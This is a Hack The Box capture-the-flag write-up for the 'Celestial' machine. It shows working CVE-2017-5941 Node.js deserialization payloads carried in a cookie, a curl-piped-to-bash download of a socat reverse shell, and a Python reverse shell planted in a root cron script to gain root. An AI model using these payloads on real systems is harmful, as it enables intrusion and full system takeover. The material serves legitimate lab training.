Hack the Box - Celestial Write up

celestial

Introduction

Celestial was an interesting but very straight forward box. I personally believe Celestial was a good HTB box for learning how to perform quick research to tackle a specific vulnerability in an application that you may not encounter often. As one of the first boxes I completed when I first joined HTB it’s sad to see it go.

Tools Used

Enumeration

Initial Scanning

Like with every HTB machine, lets begin with an nmap scan against Celestial (10.10.10.85)

root@dastinia:~/htb/celestial# nmap -sV -sC -v -Pn --max-rate 500  10.10.10.85 -oA nmap/celestial_initial_scan 
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-22 18:45 EDT
...[snip]...
Host is up (0.15s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

NSE: Script Post-scanning.
Initiating NSE at 18:45
Completed NSE at 18:45, 0.00s elapsed
Initiating NSE at 18:45
Completed NSE at 18:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.90 seconds
           Raw packets sent: 1127 (49.588KB) | Rcvd: 1109 (44.364KB)

After allowing a full port scan to run in the background, we discover that only port 3000 is open externally on the box.

Enumerating NodeJS - Port 3000

Visiting the nodejs application on port 3000 in a browser brings us to the following page stating that 2 + 2 is 22.

"NodeJS Application Landing Page"

Attempting to enumerate the service with gobuster revealed no actionable results.

root@dastinia:~/htb/celestial# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.85:3000 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_celestial

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.85:3000/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Extensions   : .php,.html
=====================================================

Inspecting the request in burp we can observe a cookie being set by the server with the key profile. This stands out because from the cookie string this is likely base64 encoded json data which we can tell by the following indicator _ey_, and that the data is most likely url encoded as well by the %3D%3D, which is the url-encoded version of == at the end of the cookie string.

Using Burp Suite’s Decoder module, we first URL decode the original string, then base64 decode the resultant data to get our original json object.

"Decoding Cookie"

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

After some googling for “NodeJS” vulnerabilities, you will come across the following articles for CVE-2017-5941 a NodeJS deserialization vulnerability.

To sum up the vulnerability - the http cookie value is passed to an unserialze() function, and since we (the attacker) have control over the cookie, we can craft a payload that will exploit the vulnerability.

References: 1 - 2 - 3 - 4

Exploitation

Using the following tool: Node_Shell we can craft a payload to exploit this de-serialization vulnerability.

Lets first create a small test payload to validate that this is an exploitable vulnerability…

root@dastinia:~/htb/celestial# python node_shell.py -c "curl http://10.10.15.10/hello" -o -e

    =======> Happy hacking <======


    {"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

We will take the take the json object, and base64 encode it.

root@dastinia:~/htb/celestial# echo -n '{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,104,101,108,108,111,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}' | base64
eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29k
ZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEs
NDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5
LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2
LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMDQsMTAx
LDEwOCwxMDgsMTExLDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwx
MDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDEx
NSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwz
MiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0
MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMy
LDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwx
MTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwx
MCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0=

Now all we have to do is intercept a request, while setting the profile cookie, remembering to urlencode any = characters we have with %3D

Doing so results in successful code execution.

We can now very easily change our poc to give us a reverse shell in a variety of ways. For example the following payload will download + execute a socat reverse shell.

contents of socat.sh

#!/usr/bin/env bash
wget -q http://10.10.15.10:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.15.10:8181

using node_shell.py to create payload

root@dastinia:~/htb/celestial# python node_shell.py -c "curl http://10.10.15.10/socat.sh | bash" -o -e

    =======> Happy hacking <======


    {"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

base64 encoding payload

root@dastinia:~/htb/celestial# echo -n '{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,117,114,108,32,104,116,116,112,58,47,47,49,48,46,49,48,46,49,53,46,49,48,47,115,111,99,97,116,46,115,104,32,124,32,98,97,115,104,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}' | base64 | tr -d '\n'
eyJydW4iOiAiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDEwMSwxMjAsMTAxLDk5LDQwLDM5LDk5LDExNywxMTQsMTA4LDMyLDEwNCwxMTYsMTE2LDExMiw1OCw0Nyw0Nyw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Myw0Niw0OSw0OCw0NywxMTUsMTExLDk5LDk3LDExNiw0NiwxMTUsMTA0LDMyLDEyNCwzMiw5OCw5NywxMTUsMTA0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQ0LDMyLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ0LDMyLDExNSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMTEsMTEwLDExNSwxMTEsMTA4LDEwMSw0NiwxMDgsMTExLDEwMyw0MCwxMDEsMTE0LDExNCwxMTEsMTE0LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDExMSwxMTAsMTE1LDExMSwxMDgsMTAxLDQ2LDEwOCwxMTEsMTAzLDQwLDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQxLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMikpfSgpIn0=

getting shell

root@dastinia:~/htb/celestial# socat file:`tty`,raw,echo=0 tcp-listen:8181
sun@sun:~$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
sun@sun:~$ uname -a
Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
sun@sun:~$ 

Privilege Escalation

While getting the user.txt flag we can observe a strange python file called script.py

sun@sun:~/Documents$ ls -la 
total 16
drwxr-xr-x  2 sun sun 4096 Mar  4 15:08 .
drwxr-xr-x 21 sun sun 4096 Aug 24 15:29 ..
-rw-rw-r--  1 sun sun   29 Sep 21  2017 script.py
-rw-rw-r--  1 sun sun   33 Sep 21  2017 user.txt
sun@sun:~/Documents$ cat script.py 
print "Script is running..."

Going up a directory we can observe that there is a text file named output.txt owned by root that contains the exact same text as the python script.

sun@sun:~$ ls -l
total 56
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Desktop
drwxr-xr-x  2 sun  sun  4096 Mar  4 15:08 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Music
drwxr-xr-x 47 root root 4096 Sep 19  2017 node_modules
-rw-r--r--  1 root root   21 Mar  4 15:40 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Templates
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Videos
sun@sun:~$ cat output.txt
Script is running...

It appears that that every 5 minutes it looks like the root user is running whatever is in script.py. Since we permissions to modify the script.py I added the following content:


print "Script is running..."
print "hey test"
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.15.10",8282));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Now all we have to do is just wait for root to run our script, which should give us a reverse (root) shell…

sun@sun:~/Documents$ cat script.py
print "Script is running..."
print "hey test"
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.15.10",8282));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Sure enough, we are delivered a fresh root shell after 5 minutes…

root@dastinia:~/htb/celestial# nc -lnvp 8282
listening on [any] 8282 ...
connect to [10.10.15.10] from (UNKNOWN) [10.10.10.85] 42792
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a 
Linux sun 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# cat /root/root.txt 
ba1d0...[snip]...

Looking at root’s crontab we can see how it was happening

# crontab -l
# Edit this file to introduce tasks to be run by cron.
...[snip]....
# 
# m h  dom mon dow   command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
0%